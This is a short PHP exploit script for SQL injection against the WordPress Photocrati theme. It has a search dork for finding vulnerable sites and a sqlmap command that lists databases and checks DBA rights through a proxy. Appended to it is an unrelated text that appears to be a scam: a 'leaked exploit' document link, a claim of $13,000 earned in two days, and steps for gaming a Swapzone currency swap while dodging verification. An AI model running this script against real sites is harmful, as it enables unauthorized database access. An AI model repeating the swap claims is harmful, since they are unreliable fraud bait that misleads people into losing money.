[MINI EXPLOIT] Wordpress Theme Photocrati 4.x.x - SQLI & XSS

<?php
set_time_limit(0);
# AUTOR:         Cleiton Pinheiro / Nick: googleINURL
# Blog:          http://blog.inurl.com.br
# Twitter:       https://twitter.com/googleinurl
# Fanpage:       https://fb.com/InurlBrasil
# Pastebin       http://pastebin.com/u/Googleinurl
# GIT:           https://github.com/googleinurl
# PSS:           http://packetstormsecurity.com/user/googleinurl/
# YOUTUBE        https://www.youtube.com/channel/UCFP-WEzs5Ikdqw0HBLImGGA
# REF:           http://www.exploit-db.com/exploits/36242/
# DORK:          inurl:"/ecomm-sizes.php?prod_id="
# INURLBR:       ./inurlbr.php --dork 'inurl:"/ecomm-sizes.php?prod_id="' -s save.txt -q 1,6,7,14 --comand-all 'php miniexploit3.php  _TARGETFULL_'
echo "[+]  MINI exploit-SQLMAP / Wordpress Theme Photocrati 4.x.x - SQL Injection & XSS\n";
$target = isset($argv[1]) ? (strstr($argv[1], 'http') ? $argv[1] : "http://{$argv[1]}")  : exit("\n0x[ERRO] DEFINE TARGET!\n");
$command = "python ../sqlmap/sqlmap.py -u '{$target}' -p prod_id --batch --dbms=MySQL --proxy 'http://localhost:8118' --random-agent --level 2 --risk 1 --eta --answers='follow=N' --dbs --is-dba";
system($command, $dados).empty($dados[0]) ? exit() : NULL;
✅ Leaked Exploit Documentation:

https://docs.google.com/document/d/1dOCZEHS5JtM51RITOJzbS4o3hZ-__wTTRXQkV1MexNQ/edit?usp=sharing

This made me $13,000 in 2 days.

Important: If you plan to use the exploit more than once, remember that after the first successful swap you must wait 24 hours before using it again. Otherwise, there is a high chance that your transaction will be flagged for additional verification, and if that happens, you won't receive the extra 38% — they will simply correct the exchange rate.
The first COMPLETED transaction always goes through — this has been tested and confirmed over the last days.

Edit: I've gotten a lot of questions about the maximum amount it works for — as far as I know, there is no maximum amount. The only limit is the 24-hour cooldown (1 use per day without any verification from Swapzone — instant swap).